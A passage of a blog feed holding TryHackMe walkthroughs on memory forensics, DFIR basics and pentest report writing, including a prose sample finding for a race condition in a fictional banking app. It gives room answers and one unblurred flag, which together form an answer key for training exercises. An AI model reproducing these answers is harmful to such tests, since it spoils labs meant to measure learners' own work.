&lt;/blockquote&gt;
&lt;p&gt;Stores temporary data like function arguments and return addresses&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Stack&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Captures all RAM, including user and kernel space&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Full Memory Dump&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Malicious code is injected into legitimate processes&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Code Injection
“Before I finish, I apologize for blurring the flag. I wanted you to experience taking action, not just answering the question. Thank you.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*BopOLDM812wv3rTdNXF9Qg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: What is the value of the flag?&lt;/p&gt;
&lt;p&gt;THM(*******************)&lt;/p&gt;
&lt;h2&gt;Task 6: Conclusion&lt;/h2&gt;
&lt;p&gt;In this room, we learned the significance of memory analysis in digital forensics, focusing on volatile memory, RAM’s role in storing active data, and its priority during incident response. We explored memory structure, forensic artifacts, and the creation of memory dumps. Additionally, we examined common attack techniques like credential dumping, DLL injection, script execution, and persistence or lateral movement, highlighting RAM’s crucial role in threat detection.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.CNNeAWe5.png"/><enclosure url="/_astro/image.CNNeAWe5.png"/></item><item><title>DFIR: An Introduction | TryHackMe Write-Up</title><link>https://farros.co/blog/dfir-an-introduction-tryhackme-write-up-farrosfr/</link><guid isPermaLink="true">https://farros.co/blog/dfir-an-introduction-tryhackme-write-up-farrosfr/</guid><description>DFIR: An Introduction | TryHackMe Write-Up</description><pubDate>Tue, 27 May 2025 06:39:58 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;p&gt;Here is my article on the walkthrough of a free room: &lt;a href=&quot;https://tryhackme.com/room/introductoryroomdfirmodule&quot;&gt;DFIR: An Introduction&lt;/a&gt;. Introductory room for the DFIR module. I wrote this in 2025 and hope it is useful for learning about DFIR.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;This text introduces the importance of Digital Forensics and Incident Response (DFIR) in defensive security, emphasizing the need to prepare for security incidents despite efforts to prevent them. It outlines key topics to be covered, including the&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Introduction to DFIR,&lt;/li&gt;
&lt;li&gt;Basic concepts&lt;/li&gt;
&lt;li&gt;Industry incident response processes&lt;/li&gt;
&lt;li&gt;Tools used in DFIR&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The goal is to provide foundational knowledge in this area and explore further resources.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: The need for DFIR&lt;/h2&gt;
&lt;p&gt;DFIR (Digital Forensics and Incident Response) is a field focused on collecting forensic evidence from digital devices like computers, smartphones, and media devices to investigate security incidents. It helps security professionals identify traces left by attackers, assess the scope of a breach, and restore systems to their pre-incident state.&lt;/p&gt;
&lt;p&gt;DFIR is essential for:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Detecting attacker activity and distinguishing real threats from false alarms.&lt;/li&gt;
&lt;li&gt;Removing attackers and eliminating their access to the network.&lt;/li&gt;
&lt;li&gt;Determining the scale and duration of breaches, aiding communication with stakeholders.&lt;/li&gt;
&lt;li&gt;Identifying vulnerabilities that caused the breach and improving defenses.&lt;/li&gt;
&lt;li&gt;Understanding attacker tactics to prevent future intrusions.&lt;/li&gt;
&lt;li&gt;Sharing attack information with the community.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;DFIR professionals combine skills in &lt;strong&gt;Digital Forensics&lt;/strong&gt; (identifying digital evidence) and &lt;strong&gt;Incident Response&lt;/strong&gt; (using that evidence to address security incidents). These two areas are closely linked, with Incident Response relying on Digital Forensics insights, and Forensics guided by the scope of the Incident Response process.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: What does DFIR stand for?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Digital Forensics and Incident Response&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2&lt;/strong&gt;: DFIR requiz|zres expertise in two fields. One of the fields is Digital Forensics. What is the other field?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Incident Response&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Basic concepts of DFIR&lt;/h2&gt;
&lt;p&gt;Key practices and terminology:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Artifacts&lt;/strong&gt;: Pieces of evidence pointing to activities on a system, such as Windows registry keys used by attackers for persistence. Artifacts are collected from various sources like file systems, memory, or network activity during DFIR.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Evidence Preservation&lt;/strong&gt;: To maintain the integrity of collected evidence, it must be write-protected, and analysis should be performed on copies, not the original data. This ensures no contamination of the original evidence.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chain of Custody&lt;/strong&gt;: The process of maintaining secure control over evidence to ensure its integrity. Any mishandling or unauthorized access can contaminate the evidence, weakening the investigation’s credibility.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Order of Volatility&lt;/strong&gt;: Digital evidence is often volatile and can be lost if not captured in time. More volatile sources, such as RAM, should be preserved before less volatile ones, like hard drives, to prevent data loss.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Timeline Creation&lt;/strong&gt;: After collecting and preserving evidence, creating a timeline of events is essential for understanding the sequence of actions during an incident. This timeline helps provide clarity and context to the investigation.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These concepts are foundational for DFIR professionals to efficiently and effectively handle digital evidence during an investigation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: From amongst the RAM and the hard disk, which storage is more volatile?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;RAM&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Let’s view the attached static site to practice timeline creation and answer the first question. To do that, click on the View Site button in the top-right corner of this task.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*0Dp0TP95_LQ7XBNaNj1jzA.png&quot; alt=&quot;a&quot;&gt;&lt;/p&gt;
&lt;p&gt;You can click the log, as it can be in the spreadsheet, like the image below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*Q1zm-uOfBk9RJ9cz6X8mGQ.png&quot; alt=&quot;a&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*AbtP3qPj0SX6MsXqNutKLg.png&quot; alt=&quot;a&quot;&gt;&lt;/p&gt;
&lt;p&gt;Click the row to add it to the spreadsheet, then drag and drop it in ascending order of time.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*RDdD0CPglGK12vmjJd6hTA.png&quot; alt=&quot;a&quot;&gt;&lt;/p&gt;
&lt;p&gt;Next, click the row that shows a successful login, like the image below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*1Kv-yXQINZ4uGINQ2cF7og.png&quot; alt=&quot;a&quot;&gt;&lt;/p&gt;
&lt;p&gt;Click the red row in the image below again.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*MssMCUjM8yIPdi7p3pSQxQ.png&quot; alt=&quot;a&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then, reorder everything again in ascending time, and you will get the flag. Congratulations!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“Before I finish, I apologize for blurring the flag. I wanted you to experience taking action, not just answering the question. Thank you.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*Z7H_Gj7gITI6WEJbIrrMjw.png&quot; alt=&quot;a&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2&lt;/strong&gt;: Complete the timeline creation exercise in the attached static site. What is the flag that you get after completion?&lt;/p&gt;
&lt;p&gt;THM(*************)&lt;/p&gt;
&lt;h2&gt;Task 4: DFIR Tools&lt;/h2&gt;
&lt;p&gt;Several tools used in the DFIR process to enhance the capabilities and efficiency of security professionals:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Eric Zimmerman’s Tools&lt;/strong&gt;: Tools for forensic analysis on Windows platforms, covering areas like the registry, file system, and timelines. For more details, check out the Windows Forensics rooms.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;KAPE&lt;/strong&gt;: A tool for automating the collection and parsing of forensic artifacts, helping create event timelines. Learn more in the KAPE room.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Autopsy&lt;/strong&gt;: An open-source platform for analyzing data from digital media like hard drives and mobile devices, with plugins to speed up the forensic process. The Autopsy room provides more details.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Volatility&lt;/strong&gt;: A powerful memory analysis tool for both Windows and Linux, used to extract information from machine memory. More information is available in the Volatility room.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Redline&lt;/strong&gt;: An incident response tool by FireEye for gathering forensic data from a system. The Redline room provides additional insights.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Velociraptor&lt;/strong&gt;: An advanced, open-source endpoint-monitoring and forensic response platform. Learn more about it in the Velociraptor room.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These tools assist in the DFIR process, and the next task will focus on understanding the Incident Response process and how Digital Forensics is integrated.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: The Incident Response process&lt;/h2&gt;
&lt;p&gt;Compares the IR methods defined by NIST and SANS, which are largely similar but with slight variations in step categorization. SANS uses the acronym &lt;strong&gt;PICERL&lt;/strong&gt; for the following steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Preparation&lt;/strong&gt;: Preparing in advance for potential incidents by ensuring the right people, processes, and technologies are in place.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Identification&lt;/strong&gt;: Detecting an incident by analyzing indicators, eliminating false positives, and notifying stakeholders.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Containment&lt;/strong&gt;: Limiting the impact of the incident through short-term and long-term measures based on forensic analysis.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Eradication&lt;/strong&gt;: Removing the threat from the network after ensuring it is fully contained and preventing re-entry by the attacker.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Recovery&lt;/strong&gt;: Restoring affected services to their original state post-incident.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lessons Learned&lt;/strong&gt;: Reviewing the incident, documenting findings, and improving future preparedness to handle similar incidents.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The NIST process aligns closely, though it combines &lt;strong&gt;Containment&lt;/strong&gt;, &lt;strong&gt;Eradication&lt;/strong&gt;, and &lt;strong&gt;Recovery&lt;/strong&gt; into a single step, whereas SANS separates them. Post-incident activities in NIST and &lt;strong&gt;Lessons Learned&lt;/strong&gt; in SANS are comparable. The steps are crucial for integrating Digital Forensics into effective incident handling.&lt;/p&gt;
&lt;p&gt;Q1: At what stage of the IR process are disrupted services brought back online as they were before the incident?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Recovery&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q2: At what stage of the IR process is the threat evicted from the network after performing the forensic analysis?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Eradication&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q3: What is the NIST-equivalent of the step called “Lessons learned” in the SANS process?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Post-incident Activity&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Conclusion&lt;/h2&gt;
&lt;p&gt;In this room, we covered the following key points:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What DFIR is and its applications.&lt;/li&gt;
&lt;li&gt;The importance of performing DFIR.&lt;/li&gt;
&lt;li&gt;Basic concepts such as chain of custody, evidence preservation, and order of volatility.&lt;/li&gt;
&lt;li&gt;Tools used in the industry, including EZ tools, KAPE, and Autopsy.&lt;/li&gt;
&lt;li&gt;The PICERL process for incident response.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.D2qEE3zK.png"/><enclosure url="/_astro/image.D2qEE3zK.png"/></item><item><title>Writing Pentest Reports | TryHackMe Write-Up</title><link>https://farros.co/blog/writing-pentest-reports-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/writing-pentest-reports-tryhackme-write-up/</guid><description>Writing Pentest Reports | TryHackMe Write-Up | Farros.</description><pubDate>Tue, 20 May 2025 04:39:53 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;p&gt;Here is my article on the walkthrough of a free room: &lt;a href=&quot;https://tryhackme.com/room/writingpentestreports&quot;&gt;Writing Pentest Reports&lt;/a&gt;. Learn how to write professional pentesting reports that communicate risk to business stakeholders. I wrote this in 2025 and hope it is useful for learning about writing pentest reports.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;This course focuses on writing professional, client-ready penetration testing reports. It teaches you the importance of reporting, how to communicate with different audiences (executives, developers, security engineers), and how to structure a useful report. You’ll learn to present technical findings with business context, write actionable remediation guidance, and maintain a professional tone. By the end, you’ll understand the purpose of pentest reports, how to tailor your language, and how to ensure accuracy and consistency in your reports.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: The Anatomy of a Pentest Report&lt;/h2&gt;
&lt;p&gt;This task discusses the importance of tailoring penetration testing reports to different audiences: technical, security, and business stakeholders.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Audience Breakdown&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Technical Stakeholders&lt;/strong&gt;: The primary audience, usually developers or IT support teams, who need detailed technical guidance on vulnerabilities and remediation steps.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security Stakeholders&lt;/strong&gt;: Security teams who prioritize and assess risk but don’t directly remediate vulnerabilities; the report helps them prioritize which issues need immediate attention.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Business Stakeholders&lt;/strong&gt;: Non-technical individuals, often funding the test, who need to understand the business impact of vulnerabilities and why remediation matters.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Report Sections&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Summary&lt;/strong&gt;: A high-level overview for business and security stakeholders, focusing on what was tested, what was found, and its business impact.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Write-Ups&lt;/strong&gt;: Detailed technical explanations for the technical team, including how to replicate and fix vulnerabilities.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Appendices&lt;/strong&gt;: Supporting details for security stakeholders, such as testing scope, methodology, and artefacts.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The structure of the report ensures that it speaks to all audiences, making it easier for them to take action based on the findings. A well-organized report ensures the findings are not ignored, leading to better prioritization and remediation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: Which stakeholder should 80% of your report be aimed towards?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Technical&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2&lt;/strong&gt;: Which section of the report is for extra information that can sometimes help security stakeholders better understand what coverage was achieved and the next steps that should be followed?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Appendices&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Report Section 1: Summary&lt;/h2&gt;
&lt;p&gt;A penetration testing (pentest) report’s summary is crucial for conveying the assessment’s findings to both technical and non-technical stakeholders. It should address key questions such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;What was tested?&lt;/strong&gt; Provide an overview of the systems or applications assessed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What were the findings?&lt;/strong&gt; Summarize the vulnerabilities or issues discovered.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What is the impact?&lt;/strong&gt; Explain the potential consequences of these findings on the business or system.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What are the next steps?&lt;/strong&gt; Offer high-level remediation recommendations.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This summary should be written in clear, non-technical language to ensure accessibility for all readers. It’s often beneficial to separate the summary into two sections:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Executive Summary:&lt;/strong&gt; Tailored for business stakeholders, focusing on the strategic impact and necessary actions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Findings &amp;#x26; Recommendations:&lt;/strong&gt; Directed at security teams, providing detailed insights into vulnerabilities and suggested remediation steps.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;By effectively structuring the summary, the report can facilitate informed decision-making and prompt appropriate actions to address identified security issues.&lt;/p&gt;
&lt;p&gt;Let us read this instruction below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*7M-MH6uraU3BDZ_4klz4_g.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is the best answer to achieve a perfect score of 400/400.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Overview&lt;/strong&gt;: A black-box penetration test was performed against the TryBankMe platform, TryHackMe’s new online banking system. The test focused on core banking features such as registration, login, and transaction processing, with the aim of identifying security risks before public launch.&lt;br&gt;
&lt;strong&gt;[Score: 100]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Results&lt;/strong&gt;: The application showed good security in most areas tested, including login and access control. However, a race condition was discovered in the transaction feature that could allow users to manipulate balances.&lt;br&gt;
&lt;strong&gt;[Score: 100]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Impact:&lt;/strong&gt; Exploiting the race condition may let attackers trigger multiple overlapping transactions, allowing them to bypass balance checks and generate unauthorised credits.&lt;br&gt;
&lt;strong&gt;[Score: 100]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remediation Direction:&lt;/strong&gt; Add transaction locking and atomic operations to prevent balance manipulation. Include monitoring for unusual patterns and validate the fix through a focused retest.&lt;br&gt;
&lt;strong&gt;[Score: 100]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;And then we get the flag to claim the answer. Let’s try.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*jUU3hXUph_J6StCgrMWDIg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Q1: What is the value of the flag?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;em&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/em&gt;.&lt;/strong&gt;&lt;/strong&gt;****.&lt;/strong&gt;*********}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Report Section 2: Vulnerability Write-Ups&lt;/h2&gt;
&lt;p&gt;A vulnerability write-up should explain the vulnerability, where it was found, how it was discovered, and how to remediate it. This section is written primarily for stakeholders who will fix the issues, such as developers and administrators, but can also be reviewed by security analysts or project managers.&lt;/p&gt;
&lt;p&gt;A well-structured write-up includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Title&lt;/strong&gt;: A concise heading&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Risk Rating&lt;/strong&gt;: The severity of the vulnerability&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Summary&lt;/strong&gt;: A brief explanation of the issue&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Background&lt;/strong&gt;: Context and why it matters&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Technical Details&lt;/strong&gt;: Evidence of the vulnerability&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Impact&lt;/strong&gt;: What could happen if exploited&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remediation Advice&lt;/strong&gt;: Clear steps to resolve the issue&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;References&lt;/strong&gt; (optional): Links to supporting resources&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The report should be tailored to the specific system or environment where the vulnerability was found, ensuring that it is clear and actionable for the client.&lt;/p&gt;
&lt;p&gt;We can read the instructions first in the image below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*oZFFLBD95p7XEnZc_0Vl5g.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is the best answer to achieve a perfect score of 700/700.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Title&lt;/strong&gt;: Race Condition in Transaction Handling Allows Balance Manipulation&lt;br&gt;
&lt;strong&gt;[Score: 100]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Risk Rating&lt;/strong&gt;: High (CVSS 3.1 Base Score: 8.6) – Exploitation allows unauthorised balance inflation with no authentication bypass required.&lt;br&gt;
&lt;strong&gt;[Score: 100]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;: A race condition was discovered in the transaction endpoint that enables users to initiate multiple overlapping transfers, resulting in unauthorised increases in account balance.&lt;br&gt;
&lt;strong&gt;[Score: 100]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;: Race conditions occur when a system performs multiple operations simultaneously without proper handling, leading to unexpected outcomes. In web applications, this often affects financial systems where order and timing of requests are critical. Without transaction locking or atomic checks, users can exploit timing to create inconsistent states.&lt;br&gt;
&lt;strong&gt;[Score: 100]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Technical Details &amp;#x26; Evidence&lt;/strong&gt;: The issue was confirmed by sending multiple concurrent POST requests to the /transfer endpoint using the same account balance. Using a script, we initiated five identical transfer requests simultaneously. All requests were processed, resulting in a final balance that did not reflect the deduction, effectively duplicating funds.&lt;br&gt;
&lt;strong&gt;[Score: 100]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Impact&lt;/strong&gt;: If left unaddressed, this vulnerability could allow malicious users to create funds out of nothing by exploiting timing gaps in transaction validation. This could lead to direct financial loss, reputational damage, and potential legal implications for failing to safeguard transaction integrity.&lt;br&gt;
&lt;strong&gt;[Score: 100]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remediation Advice&lt;/strong&gt;: Implement transaction-level locking or atomic operations in the backend to prevent parallel processing of balance-altering actions. Additional safeguards like rate limiting and anomaly detection on rapid or duplicate transactions should also be considered. Validate fixes with targeted retesting.&lt;br&gt;
&lt;strong&gt;[Score: 100]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;And then you can get the flag for answering the question.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*TJFgPXl5ES8xoC3d12lraA.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: What is the flag?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{&lt;strong&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;em&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/em&gt;.****.&lt;/strong&gt;***}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Report Section 3: Appendices&lt;/h2&gt;
&lt;h3&gt;Assessment Scope&lt;/h3&gt;
&lt;p&gt;This appendix outlines the alignment between the actual assessment and the initial scope defined in the Rules of Engagement (RoE). It highlights any deviations, such as areas not tested or changes in testing parameters, providing stakeholders with clarity on the coverage and any potential need for further assessment.&lt;/p&gt;
&lt;h3&gt;Assessment Artefacts&lt;/h3&gt;
&lt;p&gt;This section catalogs any changes or additions made during testing, such as uploaded files or configurations. It serves as an audit trail, ensuring that any remnants from testing are identified and appropriately managed to prevent future security incidents.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: Which appendix will be vital for the blue team to discern if activity is from a pentest or an actual attack?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Assessment Artefacts&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Styling Guides and Report QA&lt;/h2&gt;
&lt;p&gt;Writing a pentest report is about clearly and professionally communicating findings. A well-written report is essential for long-term reference, even after the project team changes. Key points for a strong report include:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Clarity&lt;/strong&gt;: Use simple, direct language to avoid ambiguity, ensuring your findings are understood by all readers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Professional Writing&lt;/strong&gt;: Maintain objectivity and avoid informal language, slang, or emotional tone. Be consistent in terminology and formatting.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Best Practices&lt;/strong&gt;: Write in past tense, avoid first-person language, mask sensitive data, and use formal phrasing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Quality Assurance (QA)&lt;/strong&gt;: Review your report for clarity and consistency. Peer review is essential to ensure the report is actionable and professional.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Ultimately, good writing enhances the impact of your findings and ensures they are taken seriously.&lt;/p&gt;
&lt;p&gt;To answer the question, we need to read the instructions first in the image below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*6YHX6ZtZ5vBLSksn-ySy1Q.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*71WbdD5hwwLFqgE1JU2d0g.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First mistake:&lt;/strong&gt; Credentials should never be shown in clear text, even for test accounts.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*oJwZNYpL6JYzHi-bjgYlPQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Second mistake:&lt;/strong&gt; ‘Pwned’ is slang and inappropriate in professional reporting.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*-mZYOSwKSpqQ4v5tcF5ygw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Third Mistake:&lt;/strong&gt; ‘Messed around’ is informal and should be replaced with a more professional phrase like ‘conducted timing tests’.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*D2hYNTqb9YNTCkBksoPujQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fourth mistake:&lt;/strong&gt; The word ‘extensivly’ is a misspelling. It should be ‘extensively’.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*1yRswWryOPkXzF55RmvNVg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;And then you can get the flag for answering the question.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*c9lqtgEM_zMC8NOEWWfxYg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: What is the value of the flag?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{QA.Makes.Reports.Better}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 7: Conclusion&lt;/h2&gt;
&lt;p&gt;Publishing a professional pentest report is crucial, as it serves as the lasting evidence of your work. The report should be structured to cater to different audiences, with a clear summary of business risks, detailed vulnerability descriptions, and tailored remediation advice. It’s important to maintain clarity, objectivity, and professionalism throughout the writing process. Quality assurance ensures the report is ready to be delivered. A well-written report transforms technical findings into actionable insights, making a significant impact on improving an organization’s security.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
